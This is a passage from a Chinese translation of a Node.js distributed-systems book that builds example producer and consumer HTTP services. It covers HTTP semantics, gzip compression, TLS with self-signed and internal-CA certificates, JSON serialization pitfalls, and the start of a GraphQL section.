通过构建两个服务而不是仅仅一个,你可以以后以有趣的方式将它们组合起来,例如选择它们进行通信的协议或它们相互发现的方式。
第一个应用程序,即recipe-api,代表了一个内部 API,不会被外部世界访问;它只会被其他内部应用程序访问。由于你拥有服务和访问它的任何客户端,因此你以后可以自由地做出协议决策。对于组织内的任何内部服务都适用这一点。
第二个应用程序代表了一个可以通过互联网由第三方访问的 API。它暴露了一个 HTTP 服务器,以便 Web 浏览器可以轻松地与其通信。这个应用程序被称为web-api。
服务关系
web-api 服务位于recipe-api服务的下游,反之亦然,recipe-api服务则位于web-api服务的上游。图 1-5 是这两个服务之间关系的可视化展示。

图 1-5. web-api和recipe-api之间的关系
这两个应用程序都可以称为服务器,因为它们都在积极地监听着传入的网络请求。然而,在描述这两个 API 之间具体关系时(图 1-5 中箭头 B),web-api可以被称为客户端/消费者,而recipe-api则称为服务器/生产者。第二章专注于这种关系。当涉及到浏览器与web-api之间的关系(图 1-5 中箭头 A)时,浏览器被称为客户端/消费者,web-api则被称为服务器/生产者。
现在是时候检查这两个服务的源代码了。由于这两个服务将在本书中不断演变,现在是创建它们的示例项目的好时机。创建一个 distributed-node/ 目录来保存本书中为它们创建的所有代码示例。您运行的大多数命令需要您在此目录中,除非另有说明。在此目录中,创建一个 web-api/、一个 recipe-api/ 和一个 shared/ 目录。前两个目录将包含不同的服务表示。shared/ 目录将包含共享文件,以便更容易地应用本书中的示例。^(4)
您还需要安装所需的依赖项。在两个项目目录中运行以下命令:
$ npm init -y
这将为您创建基本的 package.json 文件。完成后,请从代码示例的顶部注释中运行适当的 npm install 命令。代码示例在本书中使用这种约定来传达需要安装哪些软件包,因此您需要在此之后自行运行初始化和安装命令。请注意,每个项目将开始包含多余的依赖项,因为代码示例正在重用目录。在真实的项目中,应该仅列出必要的包作为依赖项。
生产者服务
设置完成后,现在是查看源代码的时候了。示例 1-6 是一个内部的 Recipe API 服务,是一个提供数据的上游服务。在这个示例中,它将简单地提供静态数据。真实的应用可能会从数据库中检索数据。
示例 1-6. recipe-api/producer-http-basic.js
#!/usr/bin/env node
// npm install fastify@3.2
const server = require('fastify')();
const HOST = process.env.HOST || '127.0.0.1';
const PORT = process.env.PORT || 4000;
console.log(`worker pid=${process.pid}`);
server.get('/recipes/:id', async (req, reply) => {
console.log(`worker request pid=${process.pid}`);
const id = Number(req.params.id);
if (id !== 42) {
reply.statusCode = 404;
return { error: 'not_found' };
}
return {
producer_pid: process.pid,
recipe: {
id, name: "Chicken Tikka Masala",
steps: "Throw it in a pot...",
ingredients: [
{ id: 1, name: "Chicken", quantity: "1 lb", },
{ id: 2, name: "Sauce", quantity: "2 cups", }
]
}
};
});
server.listen(PORT, HOST, () => {
console.log(`Producer running at http://${HOST}:${PORT}`);
});
提示
这些文件的第一行被称为 shebang。当文件以此行开始,并且通过运行 `chmod +x filename.js` 变得可执行时,可以通过运行 `./filename.js` 来执行它。作为本书的惯例,每当代码包含 shebang 时,表示该文件用作应用程序的入口点。
一旦此服务准备就绪,您可以在两个不同的终端窗口中使用它。^(5) 执行以下命令;第一个启动 recipe-api 服务,第二个测试它是否运行并可以返回数据:
$ node recipe-api/producer-http-basic.js # terminal 1
$ curl http://127.0.0.1:4000/recipes/42 # terminal 2
然后,您应该看到类似以下的 JSON 输出(为了清晰起见添加了空白):
{
"producer_pid": 25765,
"recipe": {
"id": 42,
"name": "Chicken Tikka Masala",
"steps": "Throw it in a pot...",
"ingredients": [
{ "id": 1, "name": "Chicken", "quantity": "1 lb" },
{ "id": 2, "name": "Sauce", "quantity": "2 cups" }
]
}
}
消费者服务
第二个服务是一个公共的 Web API 服务,数据量不多,但由于它将进行出站请求,所以更复杂。将源代码从 示例 1-7 复制到位于 web-api/consumer-http-basic.js 的文件中。
示例 1-7. web-api/consumer-http-basic.js
#!/usr/bin/env node
// npm install fastify@3.2 node-fetch@2.6
const server = require('fastify')();
const fetch = require('node-fetch');
const HOST = process.env.HOST || '127.0.0.1';
const PORT = process.env.PORT || 3000;
const TARGET = process.env.TARGET || 'localhost:4000';
server.get('/', async () => {
const req = await fetch(`http://${TARGET}/recipes/42`);
const producer_data = await req.json();
return {
consumer_pid: process.pid,
producer_data
};
});
server.listen(PORT, HOST, () => {
console.log(`Consumer running at http://${HOST}:${PORT}/`);
});
确保 recipe-api 服务仍在运行。然后,一旦您创建了文件并添加了代码,执行新服务并使用以下命令生成请求:
$ node web-api/consumer-http-basic.js # terminal 1
$ curl http://127.0.0.1:3000/ # terminal 2
此操作的结果是从上一个请求提供的 JSON 的超集:
{
"consumer_pid": 25670,
"producer_data": {
"producer_pid": 25765,
"recipe": {
...
}
}
}
响应中的pid值是每个服务的数值进程 ID。这些 PID 值由操作系统用于区分运行中的进程。它们包含在响应中,以明确数据来自两个独立的进程。这些值在特定运行的操作系统中是唯一的,意味着在同一台运行的机器上不应该有重复,尽管在不同的机器上(无论是实体还是虚拟)可能会发生冲突。
^(1) 即使是多线程应用程序也受限于单台机器的限制。
^(2) “Userland”是从操作系统借来的术语,指的是内核之外的空间,用户的应用程序可以在此运行。在 Node.js 程序中,它指的是应用代码和 npm 包——基本上是所有非 Node.js 内建的东西。
^(3) “tick”指的是完整通过事件循环的一次过程。令人困惑的是,setImmediate()需要一个 tick 来运行,而process.nextTick()更为即时,因此这两个函数应该互换名字。
^(4) 在实际场景中,任何共享文件都应通过源代码控制进行检入,或者作为外部依赖项通过 npm 包加载。
^(5) 本书中的许多示例需要您运行多个进程,其中一些作为客户端,一些作为服务器。因此,您经常需要在单独的终端窗口中运行进程。通常情况下,如果运行命令时不立即退出,则可能需要一个专用终端。
第二章:协议
一个进程与其他进程进行通信的方法有多种。举例来说,可以通过读写文件系统或使用进程间通信(IPC)进行通信。但是通过这些方法,一个进程只能与同一台机器上的其他进程进行通信。
相反,进程通常被构建成直接与网络进行通信。这仍然允许在同一台机器上的进程之间进行通信,但更重要的是,它允许进程在网络上进行通信。对于任何给定的机器,资源是有限的,而跨多台机器有更多的资源可用。
注意
杰夫·贝佐斯在 21 世纪初要求亚马逊服务必须通过网络公开 API。这被认为是将亚马逊从简单的书店转变为 AWS 的云巨头的关键因素。这种模式现在被各大科技公司广泛采用,允许团队以前所未有的速度访问数据和进行创新。
协议 是两方之间通信的标准化格式。当没有涉及协议的通信发生时,消息要么不会被正确解释,要么根本无法理解。通常情况下,遵循行业标准比从头开始创建协议更好。在组织内部也更好地采用较少的服务间协议,以减少实施工作和 API 文档的数量。
开放系统互联(OSI)模型是描述网络协议不同层之间关系的概念。官方上有七层,尽管如本章所述,通常需要更多层来描述现代应用程序。首先在表 2-1 中检查此模型,您将更好地理解后续讨论的一些概念。本书主要讨论了第 4 层、第 7 层和假设的第 8 层。
表 2-1. OSI 层
| 层 | 名称 | 示例 |
|---|---|---|
| 8 | 用户 | JSON, gRPC |
| 7 | 应用 | HTTP, WebSocket |
| 6 | 表示 | MIME, ASCII, TLS |
| 5 | 会话 | 套接字 |
| 4 | 传输 | TCP, UDP |
| 3 | 网络 | IP, ICMP |
| 2 | 数据链路 | MAC, LLC |
| 1 | 物理 | Ethernet, IEEE 802.11 |
本章介绍了一些经常用于服务间通信的协议。首先讨论了无处不在的 HTTP 协议,以及经常与之配对的 JSON。还检查了该协议的各种变体,如使用 TLS 进行安全保护和启用压缩。接下来,介绍了 GraphQL 协议,该协议具有模式语法和塑造 JSON 响应的能力。最后,通过使用名为 gRPC 的实现,还研究了远程过程调用(RPC)模式。
本章涵盖的通信形式是同步通信的示例。采用这种方法,一个服务向另一个服务发送请求,并等待另一个服务的回复。另一种方法是异步通信,当一个服务不等待消息的响应时,就像将消息推送到队列中一样。
使用 HTTP 进行请求和响应
在其核心,HTTP(第 7 层)是一种基于文本的协议,位于 TCP(第 4 层)之上,是在需要交付保证时选择的首选协议。该协议基于由客户端生成的请求来启动 HTTP 会话,以及由服务器返回给客户端的响应。它最初是为浏览器从网站获取内容而设计的。多年来,它已经得到了许多增强。它具有处理压缩、缓存、错误甚至重试的语义。尽管它并非专门为 API 使用而设计,但它无疑是在网络服务之间进行通信的最流行的首选协议之一,也是构建其他协议的最流行协议之一。
此章节中多次提到最后一点。HTTP 是传输超媒体,例如图像和 HTML 文档的协议。这包括人们发现和浏览的内容,不一定是应用程序代码。这一“缺点”在接下来的几节中被认真考虑。
HTTP 是用于公共 API 的默认协议的许多原因。大多数公司已经拥有网站,因此已经存在讲 HTTP 的基础设施。浏览器经常需要消耗这些 API,并且只有少数几种协议可以让浏览器使用。有时可以通过使用浏览器访问 URL 来测试 API 端点——这是每个开发者已经安装的工具。
下一节主要讨论了目前可能是最受欢迎的版本 HTTP 1.1 协议。
HTTP 有效载荷
HTTP 作为一种基于文本的协议,允许使用任何能够通过 TCP 进行通信的平台或语言进行通信。这也允许我在本书的页面中嵌入 HTTP 消息的原始内容。要生成请求,您可能会编写类似于示例 2-1 的代码。
示例 2-1. Node.js 请求代码
#!/usr/bin/env node
// npm install node-fetch@2.6
const fetch = require('node-fetch');
(async() => {
const req = await fetch('http://localhost:3002/data', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'User-Agent': `nodejs/${process.version}`,
'Accept': 'application/json'
},
body: JSON.stringify({
foo: 'bar'
})
});
const payload = await req.json();
console.log(payload);
})();
手动编写 HTTP 请求可能有点繁琐。幸运的是,大多数库处理序列化和反序列化的复杂部分——即解析头部和请求/状态行。示例 2-2 展示了前面 Node 应用程序生成的对应 HTTP 请求。
示例 2-2. HTTP 请求
POST /data HTTP/1.1 
Content-Type: application/json 
User-Agent: nodejs/v14.8.0
Accept: application/json
Content-Length: 13
Accept-Encoding: gzip,deflate
Connection: close
Host: localhost:3002
{"foo":"bar"} 
第一行是请求行。
Header/value pairs, separated by colons.
两个换行符,然后是(可选的)请求主体。
这是一个 HTTP 请求的原始版本。它比您在浏览器中看到的典型请求要简单得多,不包括诸如 Cookie 和现代浏览器插入的大量默认标头等项目。每个换行符都表示为组合的回车符和换行符(\r\n)。响应看起来与请求非常相似。示例 2-3 显示了可能与前一个请求对应的响应。
示例 2-3. HTTP 响应
HTTP/1.1 403 Forbidden 
Server: nginx/1.16.0 
Date: Tue, 29 Oct 2019 15:29:31 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 33
Connection: keep-alive
Cache-Control: no-cache
Vary: accept-encoding
{"error":"must_be_authenticated"} 
第一行是响应行。
标头/值对,由冒号分隔。
两个新行,然后是响应体(也可选)。
HTTP 语义
HTTP 具有几个重要的语义内置。正是这些语义,给定足够的时间,任何手动协议最终都会重建。最终,正是因为这些语义及其普遍理解,许多其他协议最终被构建在 HTTP 之上。
HTTP 方法
这个值是请求行中的第一个单词。在示例 2-2 中,方法是POST。有几种 HTTP 方法,其他流行的方法包括GET, PATCH和DELETE。这些方法映射到基本的 CRUD 操作(创建、读取、更新和删除),这些通用概念几乎可以应用于所有有状态数据存储。通过让应用程序遵循 HTTP 方法的意图,外部观察者可以推断出特定请求的意图。
幂等性
这是一个花哨的术语,意味着一个操作可以多次执行而不会产生副作用。HTTP 方法GET, PATCH和DELETE被视为幂等操作。如果使用这些方法之一的操作的结果是未知的,例如,网络故障阻止接收响应,则客户端可以安全地重试相同的请求。
状态码
另一个重要的概念是状态码,特别是状态码范围。状态码是响应行中出现的三位数。在示例 2-3 中,状态码是 403。状态码范围的概述可在表 2-2 中找到。
表 2-2. HTTP 状态码范围
| 范围 | 类型 | 示例 |
|---|---|---|
| 100–199 | 信息 | 101 切换协议 |
| 200–299 | 成功 | 200 OK, 201 已创建 |
| 300–399 | 重定向 | 301 永久移动 |
| 400–499 | 客户端错误 | 401 未经授权, 404 未找到 |
| 500–599 | 服务器错误 | 500 内部服务器错误, 502 错误网关 |
注意
状态码后的文本称为原因短语。任何流行的 Node.js HTTP 框架都会根据应用程序指定的数值状态码推断要使用的文本。这个值在现代软件中未被使用,而 HTTP/2,HTTP 1.1 的继任者,不提供这样的值。
客户端与服务器错误
状态码提供了一些非常有用的信息。例如,状态码范围 400–499 表明客户端出错,而范围 500–599 则是服务器的责任。这告诉客户端,如果尝试操作时,服务器认为客户端出错,那么客户端不应再尝试发送请求。如果客户端违反了某种协议,这种情况可能发生。然而,当发生服务器错误时,客户端应该可以自由地重试幂等请求。这可能是由于服务器的临时错误,例如被请求过载或失去了数据库连接。在 “幂等性和消息可靠性” 中,您将基于这些状态码实现自定义逻辑以重试 HTTP 请求。
响应缓存
HTTP 还提示了如何缓存响应。通常情况下,特别是通过中介服务,只有与 GET 请求相关联的响应才会被缓存。如果响应关联有错误代码,则可能不应将其缓存。HTTP 还说明了响应应该缓存多长时间。Expires 头告诉客户端在特定日期和时间之前丢弃缓存值。尽管这个系统并不完美。可以对缓存应用额外的语义。例如,如果用户 #123 请求包含其银行账户信息的文档,很难知道是否应该将缓存结果供给用户 #456。
无状态性
HTTP 本质上是一种无状态协议。这意味着通过发送一条消息,未来消息的含义不会改变。这不像终端会话那样,您可能会使用 ls 列出当前目录中的文件,使用 cd 更改目录,然后再次执行相同的 ls 命令,但输出不同。相反,每个请求包含了设置所需状态的所有信息。
通过 HTTP 模拟状态存在一些公约。例如,通过使用类似于 Cookie 的头部并设置一个唯一的会话标识符,可以在数据库中维护关于连接的状态。除了基本的身份验证信息外,在使用 API 时通常不适合要求提供这种有状态会话令牌的客户端。
HTTP 压缩
HTTP 响应体可以进行压缩,以减少在网络上传输的数据量。这是 HTTP 的另一个内置特性。当客户端支持压缩时,它可以选择提供Accept-Encoding头部。服务器在遇到这个头部时,可以选择使用请求中提供的任何压缩算法来压缩响应体。gzip 压缩算法是 HTTP 压缩的普遍形式,尽管其他算法如 brotli 可能提供更高的压缩值。响应包含一个头部,指定服务器使用的算法,例如Content-Encoding: br表示使用了 brotli 算法。
压缩是网络有效载荷大小和 CPU 使用之间的权衡。通常情况下,在 Node.js 服务器和由第三方通过互联网消耗数据的客户端之间的某个点上支持 HTTP 压缩是符合你的最佳利益的。然而,Node.js 并不是执行压缩的最高效工具。这是一个 CPU 密集型操作,尽可能在 Node.js 进程外处理。“使用 HAProxy 的反向代理” 讨论了使用称为反向代理的工具来自动处理 HTTP 压缩。“SLA 和负载测试” 查看了一些基准测试来证明这一性能声明。
示例 2-4^(1) 演示了如何创建一个在进程中执行 gzip 压缩的服务器。它仅使用内置的 Node.js 模块,无需安装任何包。任何流行的 HTTP 框架都有自己习惯用的方法来实现压缩,通常只需require和一个函数调用即可,但在底层,它们本质上都在做同样的事情。
示例 2-4. server-gzip.js
#!/usr/bin/env node
// Adapted from https://nodejs.org/api/zlib.html
// Warning: Not as efficient as using a Reverse Proxy
const zlib = require('zlib');
const http = require('http');
const fs = require('fs');
http.createServer((request, response) => {
const raw = fs.createReadStream(__dirname + '/index.html');
const acceptEncoding = request.headers['accept-encoding'] || '';
response.setHeader('Content-Type', 'text/plain');
console.log(acceptEncoding);
if (acceptEncoding.includes('gzip')) {
console.log('encoding with gzip');
response.setHeader('Content-Encoding', 'gzip');
raw.pipe(zlib.createGzip()).pipe(response);
} else {
console.log('no encoding');
raw.pipe(response);
}
}).listen(process.env.PORT || 1337);
现在你已经准备好测试这个服务器了。首先创建一个 index.html 文件来提供服务,然后启动服务器:
$ echo "<html><title>Hello World</title></html>" >> index.html
$ node server-gzip.js
然后,在一个单独的终端窗口中运行以下命令,以查看服务器的输出:
# Request uncompressed content
$ curl http://localhost:1337/
# Request compressed content and view binary representation
$ curl -H 'Accept-Encoding: gzip' http://localhost:1337/ | xxd
# Request compressed content and decompress
$ curl -H 'Accept-Encoding: gzip' http://localhost:1337/ | gunzip
这些curl命令充当客户端,通过网络与服务通信。服务会打印请求是否使用了压缩来帮助解释发生了什么。在这个特定的示例中,文件的压缩版本实际上比未压缩版本更大!你可以通过运行 示例 2-5 中的两个命令来观察到这一点。
示例 2-5. 比较压缩和未压缩请求
$ curl http://localhost:1337/ | wc -c
$ curl -H 'Accept-Encoding: gzip' http://localhost:1337/ | wc -c
在这种情况下,文档的未压缩版本大小为 40 字节,压缩版本为 53 字节。
对于较大的文档,这不会成为问题。为了证明这一点,运行前面的echo命令再运行三次,增加index.html文件的大小。然后再次运行 Example 2-5 中的相同命令。这次未压缩版本是 160 字节,压缩版本是 56 字节。这是因为 gzip 通过删除响应主体中的冗余来运行,并且示例包含相同文本重复四次。如果响应主体包含重复文本(如具有重复属性名称的 JSON 文档),则此冗余删除尤为有用。大多数 gzip 压缩工具可以配置为在文档小于某个大小时跳过压缩。
HTTP 压缩仅压缩请求体,不影响 HTTP 头部(除了更改Content-Length头部的值)。在有限意图的服务对服务 API 的世界中,这并不是什么大问题。但是,当涉及到 Web 浏览器时,HTTP 请求可能包含几千字节的头部(想想所有那些跟踪 Cookie)。HTTP/2 的发明就是为了解决这类情况,并使用 HPACK 来压缩头部。
HTTPS / TLS
另一种编码形式是加密。传输层安全性(TLS)是用于加密 HTTP 流量的协议。它是为 HTTPS 加上S(安全)的协议。与 gzip 压缩不同,TLS 还包装 HTTP 头部。与 gzip 类似,TLS 是一个 CPU 密集型操作,应该由外部进程(如反向代理)执行。TLS 取代了过时的安全套接字层(SSL)协议。
TLS 通过使用证书来工作。有两种类型的证书:一个包含公钥,可以安全地提供给世界上的任何人;另一个包含私钥,应该保持秘密。这两个密钥是固有配对的。任何人都可以使用公钥加密消息,但只有拥有私钥的人才能解密消息。在 HTTP 中,这意味着服务器将提供其公钥,并且客户端将使用公钥加密请求。当客户端首次与服务器通信时,它还会生成一个大随机数,实质上是会话的密码,用公钥加密并发送给服务器。这个临时密码用于加密 TLS 会话。
生成证书并将其与服务器配对可能需要一些实施工作。传统上,这是一项昂贵的功能,必须支付费用。如今有一个称为Let’s Encrypt的服务,不仅自动化了这一过程,而且还免费提供。该服务的一个警告是,工具要求服务器公开面向互联网,以验证域的 DNS 所有权。这使得加密内部服务变得困难,尽管对于公共服务来说,它显然是胜利者。
现在是时候动手进行一些 TLS 工作了。在本地运行 HTTPS 服务器的最简单方法是生成自签名证书,让您的服务器读取该证书,并使客户端在不执行证书验证的情况下向服务器发出请求。要生成自己的证书,请运行 Example 2-6 中的命令。请随意使用任何值,但在提示输入通用名称时,请使用localhost。
示例 2-6. 生成自签名证书
$ mkdir -p ./{recipe-api,shared}/tls
$ openssl req -nodes -new -x509 \
-keyout recipe-api/tls/basic-private-key.key \
-out shared/tls/basic-certificate.cert
此命令创建了两个文件,分别是 basic-private-key.key(私钥)和 basic-certificate.cert(公钥)。
接下来,将您在 Example 1-6 中创建的 recipe-api/producer-http-basic.js 服务复制到一个名为 recipe-api/producer-https-basic.js 的新文件中,以类似于 Example 2-7 的方式构建一个完全基于 Node.js 的 HTTPS 服务器。
示例 2-7. recipe-api/producer-https-basic.js
#!/usr/bin/env node
// npm install fastify@3.2 // Warning: Not as efficient as using a Reverse Proxy const fs = require('fs');
const server = require('fastify')({
https: { 
key: fs.readFileSync(__dirname+'/tls/basic-private-key.key'),
cert: fs.readFileSync(__dirname+'/../shared/tls/basic-certificate.cert'),
}
});
const HOST = process.env.HOST || '127.0.0.1';
const PORT = process.env.PORT || 4000;
server.get('/recipes/:id', async (req, reply) => {
const id = Number(req.params.id);
if (id !== 42) {
reply.statusCode = 404;
return { error: 'not_found' };
}
return {
producer_pid: process.pid,
recipe: {
id, name: "Chicken Tikka Masala",
steps: "Throw it in a pot...",
ingredients: [
{ id: 1, name: "Chicken", quantity: "1 lb", },
{ id: 2, name: "Sauce", quantity: "2 cups", }
]
}
};
});
server.listen(PORT, HOST, () => {
console.log(`Producer running at https://${HOST}:${PORT}`);
});
现在,Web 服务器已配置为启用 HTTPS 并读取证书文件。
创建了服务器文件后,请运行服务器,然后对其发出请求。可以通过运行以下命令来实现:
$ node recipe-api/producer-https-basic.js # terminal 1
$ curl --insecure https://localhost:4000/recipes/42 # terminal 2
那个--insecure标志可能吸引了您的注意。实际上,如果您在 web 浏览器中直接打开该 URL,将会收到有关证书存在问题的警告。这就是自签名证书时会发生的情况。
如果您使用 Node.js 应用程序向此服务发出请求,请求也将失败。Node.js 的内置模块http和https接受一个选项参数,而大多数 npm 中的高级 HTTP 库也以某种方式接受这些选项。避免这些错误的一种方法是提供rejectUnauthorized: false标志。不幸的是,这与使用纯 HTTP 并没有多大区别,应该避免使用。
之所以这么重要的原因在于,并不一定安全地信任在互联网上遇到的任何旧证书。相反,重要的是要知道证书是否有效。通常通过一个证书“签署”另一个证书来实现这一点。这意味着一个证书为另一个证书背书。例如,thomashunter.name 的证书已由另一个名为 Let’s Encrypt Authority X3 的证书签署。而该证书又由另一个名为 IdenTrust DST Root CA X3 的证书签署。这三个证书形成了一个信任链(见 Figure 2-1 以了解其可视化)。

图 2-1. 证书链的信任
证书链中的最高点称为根证书。该证书被全球大部分地区信任;事实上,其公钥已包含在现代浏览器和操作系统中。
处理自签名证书的更好方法实际上是将受信任的自签名证书副本交给客户端,例如之前生成的 basic-certificate.cert 文件。然后可以通过使用 ca: certContent 选项标志来传递此证书。此示例可在 示例 2-8 中看到。
示例 2-8. web-api/consumer-https-basic.js
#!/usr/bin/env node
// npm install fastify@3.2 node-fetch@2.6 // Warning: Not as efficient as using a Reverse Proxy const server = require('fastify')();
const fetch = require('node-fetch');
const https = require('https');
const fs = require('fs');
const HOST = '127.0.0.1';
const PORT = process.env.PORT || 3000;
const TARGET = process.env.TARGET || 'localhost:4000';
const options = {
agent: new https.Agent({ 
ca: fs.readFileSync(__dirname+'/../shared/tls/basic-certificate.cert'),
})
};
server.get('/', async () => {
const req = await fetch(`https://${TARGET}/recipes/42`,
options);
const payload = await req.json();
return {
consumer_pid: process.pid,
producer_data: payload
};
});
server.listen(PORT, HOST, () => {
console.log(`Consumer running at http://${HOST}:${PORT}/`);
});
现在客户端信任服务器使用的确切公钥。
现在运行 web-api 服务,并通过运行以下命令向其发出 HTTP 请求:
$ node web-api/consumer-https-basic.js # terminal 1
$ curl http://localhost:3000/ # terminal 2
curl 命令使用 HTTP 与 web-api 进行通信,然后 web-api 使用 HTTPS 与 recipe-api 进行通信。
请回想 示例 2-7,每个 HTTPS 服务器需要访问公钥和私钥对以接收请求。还请记住,私钥绝不能落入对手手中。因此,为公司内所有服务使用单一的公钥和私钥对是危险的。如果其中一个项目泄露了其私钥,那么所有项目都会受到影响!
一种方法是为每个运行中的服务生成新的密钥。不幸的是,需要将每个服务器的公钥副本分发给可能希望与其通信的每个客户端,就像在 示例 2-8 中一样。这将是一个相当头痛的维护工作!相反,可以模仿非自签名证书使用的方法:生成单个内部根证书,保持其私钥安全,但使用它来签署每个服务的密钥集合。
执行 示例 2-9 中的命令以确切实现此目标。这些命令表示您可能在组织内执行的简化版本。带有 CSR 标记的步骤将在一个非常私密的机器上运行,仅用于证书生成目的。带有 APP 标记的步骤将代表新应用程序执行。
示例 2-9. 如何成为您自己的证书颁发机构
# Happens once for the CA $ openssl genrsa -des3 -out ca-private-key.key 2048 
$ openssl req -x509 -new -nodes -key ca-private-key.key \
-sha256 -days 365 -out shared/tls/ca-certificate.cert 
# Happens for each new certificate $ openssl genrsa -out recipe-api/tls/producer-private-key.key 2048 
$ openssl req -new -key recipe-api/tls/producer-private-key.key \
-out recipe-api/tls/producer.csr 
$ openssl x509 -req -in recipe-api/tls/producer.csr \
-CA shared/tls/ca-certificate.cert \
-CAkey ca-private-key.key -CAcreateserial \
-out shared/tls/producer-certificate.cert -days 365 -sha256 
CSR: 为证书颁发机构生成私钥 ca-private-key.key。您将被提示输入密码。
CSR: 为证书颁发机构生成根证书 shared/tls/ca-certificate.cert(将提供给客户端)。会询问许多问题,但对于此示例并不重要。
APP: 为特定服务生成私钥 producer-private-key.key。
APP: 为同一服务创建 CSR producer.csr。确保在 Common Name 问题中回答 localhost,但其他问题并不那么重要。
CSR: 生成由 CA 签名的服务证书 producer-certificate.cert。
现在修改 web-api/consumer-https-basic.js 中的代码,以加载 ca-certificate.cert 文件。同时修改 recipe-api/producer-https-basic.js,加载 producer-private-key.key 和 producer-certificate.cert 文件。重新启动两个服务器,并再次运行以下命令:
$ curl http://localhost:3000/
即使 web-api 不知道 recipe-api 服务的确切证书,你仍应该得到一个成功的响应;它从根 ca-certificate.cert 证书中获得了信任。
JSON over HTTP
到目前为止,HTTP 请求和响应的主体并没有被详细研究过。这是因为 HTTP 标准并没有完全规定 HTTP 消息主体中应包含的内容。正如我之前提到的,HTTP 是许多其他协议的基础。这就是神秘的 OSI 模型第 8 层发挥作用的地方。
当今最流行的 API 大多数都是 JSON over HTTP,这种模式通常被误称为 REST(表现层状态转移)。在示例应用程序中来回发送的小 JSON 负载就是 JSON over HTTP 的一个例子。
仅仅通过 JSON over HTTP 进行通信远远不够。例如,错误如何表示?当然,应该利用 HTTP 错误状态码和遵循一般语义,但实际上应该使用什么负载来作为主体?在 JSON 中如何正确表示特定的内部对象?还有一些不容易映射到 HTTP 头的元信息,比如分页数据。JSON over HTTP 的问题,以及许多自称为 REST 的 API,都在于生产者和消费者之间的完整协议仅存在于文档中。人们必须阅读文档,并手动编写与这些负载交互的代码。
另一个问题是,每个 JSON over HTTP 服务都会以不同的方式实现事务。除了具有 Content-Type: application/json 头之外,第一个大括号和最后一个大括号之间可能会发生任何事情。通常情况下,特定客户端消费的每个新服务都需要编写新代码。
举个具体的例子,考虑分页。宽泛概念的“JSON over HTTP” 并没有内置处理这一功能的方法。Stripe API 使用查询参数 ?limit=10&starting_after=20。响应主体中提供了元信息,如 has_more 布尔属性,用于告知客户端还有更多数据需要分页获取。另一方面,GitHub API 使用查询参数 ?per_page=10&page=3。分页的元信息则放在 Link 响应头中。
正是因为这些原因,才发明了在 HTTP 中表示请求和响应体的不同标准。JSON:API、JSON Schema 和 OpenAPI (Swagger) 是完全接受 JSON over HTTP 并试图为混乱带来秩序的规范。它们处理描述请求和响应体等概念,并在不同程度上介绍了如何与 HTTP API 服务器交互。接下来的两个部分讨论了更极端的协议更改 GraphQL 和 gRPC。
“JSON over HTTP benchmarks” 包含使用 JSON over HTTP 在两个服务器之间通信的基准测试。
POJO 序列化的危险
JavaScript 使得将域对象的内存表示序列化变得非常容易。只需简单地调用 JSON.stringify(obj) —— 这正是大多数 HTTP 框架为您自动完成的 —— 您项目内部属性的任何重构都可能泄露并导致 API 破坏性变更。它还可能泄露秘密。
一个更好的方法是为手动控制对象如何在 JSON 中表示添加一个安全网 —— 这种模式称为 marshalling。可以通过将可序列化数据表示为带有 toJSON() 方法的类来实现这一点,而不是将数据存储为 POJO(Plain Ol’ JavaScript Object)。
作为示例,这里有两种在代码库中表示 User 对象的方法。第一种是 POJO,第二种是具有 toJSON() 方法的类:
const user1 = {
username: 'pojo',
email: 'pojo@example.org'
};
class User {
constructor(username, email) {
this.username = username;
this.email = email;
}
toJSON() {
return {
username: this.username,
email: this.email,
};
}
}
const user2 = new User('class', 'class@example.org');
// ...
res.send(user1); // POJO
res.send(user2); // Class Instance
在这两种情况下,当响应发送时,服务的消费者将收到表示具有相同属性的对象的 JSON 字符串:
{"username":"pojo","email":"pojo@example.org"}
{"username":"class","email":"class@example.org"}
可能在某些时候,应用程序被修改以开始跟踪用户的密码。这可能通过向用户对象的实例添加一个新的 password 属性来完成,也许是通过修改创建用户实例的代码,在创建时设置密码。或者可能是代码库中的某个黑暗角落通过调用 user.password = value 设置密码。这样的变更可以像这样表示:
user1.password = user2.password = 'hunter2';
// ...
res.send(user1);
res.send(user2);
当这种情况发生时,POJO 现在正在向消费者泄露私人信息。有显式编组逻辑的类不会泄露这些细节:
{"username":"pojo","email":"pojo@example.org","password":"hunter2"}
{"username":"class","email":"class@example.org"}
即使有测试检查 HTTP 响应消息中是否存在 username 和 email 等值,当添加了新的属性如 password 时,它们可能不会失败。
使用 GraphQL 的 API 外观
GraphQL 是由 Facebook 设计的用于查询 API 的协议。它非常适用于构建 外观服务——这是一个位于多个其他服务和数据源前面的服务。GraphQL 试图解决传统的 JSON over HTTP API 的一些问题。GraphQL 尤其擅长返回客户端所需的最小数据量。它还擅长从多个来源填充响应有效负载,以便客户端可以通过单个请求获取所有需要的内容。
GraphQL 不强制使用特定的底层协议。大多数实现(包括本节中使用的实现)通常使用 GraphQL over HTTP,但也可以通过其他协议如 TCP 进行消费。整个 GraphQL 查询使用单个字符串描述,类似于 SQL 查询。当基于 HTTP 的实现时,通常使用单一端点,客户端通过 POST 方法发送查询。
GraphQL 响应通常使用 JSON 提供,但也可以使用其他响应类型,只要能够表示数据的层次结构。这些示例也使用 JSON。
注意
如今,将 JSON 公开为 HTTP API 对公众更为普遍。GraphQL API 更可能被同一组织维护的客户端消费——例如内部使用或首选移动应用。然而,情况正在发生变化,越来越多的公司开始公开 GraphQL API。
GraphQL Schema
GraphQL 模式是一个描述特定 GraphQL 服务器能够执行的所有交互的字符串。它还描述了服务器可以表示的所有对象以及这些对象的类型(如 String 和 Int)。这些类型基本上可以分为两类;类型要么是原始的,要么是命名对象。每个命名对象都需要在模式中有一个条目;不能使用未命名和描述的对象。创建一个名为 schema.gql 的新文件,并将 Example 2-10 的内容输入到此文件中。
示例 2-10. shared/graphql-schema.gql
type Query { 
recipe(id: ID): Recipe
pid: Int
}
type Recipe { 
id: ID!
name: String!
steps: String
ingredients: [Ingredient]! 
}
type Ingredient {
id: ID!
name: String!
quantity: String
}
最顶层的查询表示。
Recipe 类型。
Recipe 在名为 ingredients 的数组中具有 Ingredient 子项。
第一个条目 Query 表示消费者提供的查询的根。在这种情况下,消费者基本上可以请求两组不同的信息。pid 条目返回一个整数。另一个条目 recipe 返回一个在模式文档中定义的 Recipe 类型。此调用在查询时接受一个参数。在本例中,模式说明了通过调用带有名为 id 的参数的 recipe 方法,将返回一个遵循 Recipe 模式的对象。Table 2-3 包含 GraphQL 使用的标量类型列表。
表 2-3. GraphQL 标量
